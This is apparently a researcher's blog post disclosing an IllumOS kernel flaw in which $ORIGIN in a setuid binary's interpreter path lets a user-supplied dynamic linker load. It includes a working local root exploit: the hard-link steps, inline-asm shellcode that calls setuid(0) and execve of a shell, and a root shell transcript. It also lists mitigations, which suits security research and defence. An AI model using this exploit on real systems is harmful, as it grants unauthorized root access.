ELF security is somewhat esoteric, and the related vulnerabilities are often very interesting. Today we will be discussing a security issue that lives within the ELF loading code of unpatched IllumOS kernels, and is not specific to any given architecture. The vulnerability may very likely extend to other operating systems which support ELF, and have legacy roots.
The Backstory
During testing of a new product feature, I discovered that the IllumOS kernel
did not protect suid executables against $ORIGIN
variable expansion, providing
a vector for privileged code execution. Before further elaboration let me give
you a synopsis of a vulnerability that was reported by Tavis Ormandy in 2010.
This vulnerability stems from the fact that certain expansion variables, namely
$ORIGIN
are sometimes placed within the DT_RPATH
and DT_RUNPATH
tags in the
dynamic segment of an ELF executable. $ORIGIN/libs
will direct the dynamic
linker to first search for shared objects that exist in the ./libs
directory,
relative to the executables current working directory. Since
$ORIGIN
expands to the CWD of the executable, it is conceivable for an
attacker to create a hardlink of the executable to a directory that they control
which also has a ./libs
sub directory containing a malicious shared object.
If the executable is setuid, then the attacker can craft a shared object to do
anything they want, such as execve("/bin/bash", ...)
, game over.
As it turns out, IllumOS is not vulnerable to this type of attack; they have the concept of trusted paths. The reason that I decided to share this existing vulnerability, is because it is a related security issue. The one that I will present today is less likely to be exploited, but dates back possibly to Solaris 2.x, and actually lives in the kernel. The probability of being exploited in the wild is generally quite low, except in certain cases with very custom setups, as we will discuss. Part of the purpose of this blog post is to reach those people who may have the unique conditions in place that are exposing this vulnerability in such a way that it is exploitable.
The Vulnerable Code
For some initial context; the following code is parsing the string in the PT_INTERP
segment of an executable, which contains the path to the program interpreter, also
known as the dynamic linker.
/*
* Search for '$ORIGIN' token in interpreter path.
* If found, expand it.
*/
for (p = dlnp; p = strchr(p, '$'); ) {
uint_t len, curlen;
char *_ptr;
if (strncmp(++p, ORIGIN_STR, ORIGIN_STR_SIZE))
continue;
... truncated ...
It isn’t necessary to show the entire block of code, it simply expands $ORIGIN
to the correct path, and does not attempt to check whether or not the executable
it is parsing is setuid before allowing the $ORIGIN
variable to be used.
What exactly does this mean? It means that the IllumOS kernel accepts the $ORIGIN
expansion variable to be used with the path specified in the PT_INTERP
segment
of an executable. In other words you can fool the kernel into mapping a phony
dynamic linker into memory, but only with executables that are using a relative
dynamic linker path. If the attacker hopes to obtain privilege escalation, then
the executable which uses a relative linker path must also be setuid/setgid.
An executable which meets this criteria would have been built and linked with
a command like gcc -Wl,--dynamic-linker=\$ORIGIN\\lib\ld.so.1
. You can look
at the PT_INTERP
segment of a binary to check whether or not it is vulnerable
by using readelf -l <binary> | grep interpreter
. So this brings
us to the next question; how common are programs that use a relative linker path?
Probably not very common. However there are many custom setups out there, and as
a colleague pointed out to me, these types of alternative configurations tend to
become more common on misc. devices. This vulnerability is not an architecture
specific problem, so it should reach all versions of SunOS and Solaris that have
the issue.
Proof of Concept
In IllumOS non-privileged users are allowed to create hard links of setuid executables which is necessary in order for exploitation of this vulnerability to achieve privileged code execution.
NOTE: Various Linux distributions have incorporated patches that restrict hard link behavior, preventing security vulnerabilities such as the one we are about to demonstrate.
In order to exploit this vulnerability, the system must have an executable that is setuid, and has been linked so that it uses a program interpreter which is relative to its own path, as discussed earlier. Since the IllumOS environment does not by default build any of its setuid (or non-setuid) executables this way, we must create the conditions of exploitability for our proof of concept.
Example
$ gcc -Wl,--dynamic-linker=\$ORIGIN\\lib\ld.so.1 vuln.c -o vuln
In our case I just directly modified the /usr/sbin/ping
executable’s PT_INTERP
segment, so that it uses a relative dynamic linker. I also created a /usr/sbin/lib
directory and put a copy of the systems real dynamic linker ld.so
in that location
so that /usr/sbin/ping
could still run properly.
$ readelf -l /usr/sbin/ping | grep ORIGIN
[Requesting program interpreter: $ORIGIN/lib/ld.so.1]
We want to fool the ELF loading code in the kernel to map in a dynamic linker that
we control, i.e. /home/elfmaster/lib/ld.so.1
. Ideally our dynamic linker will not
perform any dynamic linking at all, instead it will spawn a shell.
setuid(0);
execve("/bin/bash", ...);
The following code was taken from http://shell-storm.org and compiled into an
executable with gcc -nostdlib
which indicates to use no standard libc
.
/*
* gcc -nostdlib ld.c -o ld
*/
_start()
{
asm volatile(
"xorl %eax, %eax\n"
"pushl %eax \n"
"pushl %eax \n"
"movl $0x17, %eax\n"
"int $0x91 \n"
"xorl %eax,%eax\n"
"pushl %eax\n"
"pushl $0x68732f6e\n"
"pushl $0x69622f2f\n"
"movl %esp, %ebx\n"
"pushl %eax\n"
"pushl %ebx\n"
"movl %esp, %edx\n"
"pushl %eax\n"
"pushl %edx\n"
"pushl %ebx\n"
"movb $0x3b, %al\n"
"pushl %eax\n"
"int $0x91"
);
}
Create hard-link of our vulnerable executable
$ pwd
$ /home/elfmaster
$ ln /usr/sbin/ping ping
$ ls -l ping
-r-sr-xr-x 2 root root 54424 May 17th 21:01 ping
$
Put our fake dynamic linker program into /home/elfmaster/lib
$ gcc -nostdlib ld.c -o lib/ld.so.1
Escalate privileges by running our hardlink of setuid ping which
will execute lib/ld.so.1
as the dynamic linker, thus calling
execve("/bin/bash", ...)
.
$ id
uid=110(elfmaster) gid=1(other) groups=1(other),110(elfmaster)
$ ./ping
$ id
uid=0(root) gid=1(other) groups=1(other),110(elfmaster)
$ whoami
root
$
In Closing
This security issue is no doubt interesting, but just how many custom-setups are out there that actually build their executables so that they use a relative dynamic linker? I would imagine that the folks who are working on the dynamic linker code themselves are testing the linker’s code by using a relative linker path, as to not break the absolute dynamic linker path used by the rest of the system, but that is a very slim group of people. I’d be curious to hear about anyone using relative dynamic linker paths. And out of those people who are using vulnerable configurations, what of those are actually setuid executables? Feel free to contact me with any feedback or questions at roneill [at] backtrace.io.
Mitigation
The IllumOS team has patched this vulnerability. For any other OSs that may have this issue, there are at least several options:
- A VFS kernel patch to prevent hard links on setuid binaries
- A patch to ELF kernel loading code to disallow relative
PT_INTERP
paths on setuid binaries
The first would serve as a mitigation for many other vulnerabilities of a similar nature, whereas the second one would specifically only stop the vulnerability discussed in this article.
As a rule of thumb for system administrators; Do not use $ORIGIN
with setuid executables!
Related Works and Resources
Shared library injection forensics
Edits
7/1/2016 - Made two revisions, changing description of symbolic links to hard links